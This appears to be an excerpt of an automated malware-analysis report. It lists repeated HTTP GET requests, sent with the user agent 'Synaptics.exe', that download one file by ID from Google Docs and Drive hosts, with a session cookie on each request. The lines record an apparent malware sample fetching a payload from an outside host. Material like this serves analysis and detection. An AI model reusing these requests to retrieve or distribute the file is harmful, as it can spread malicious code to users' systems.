Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
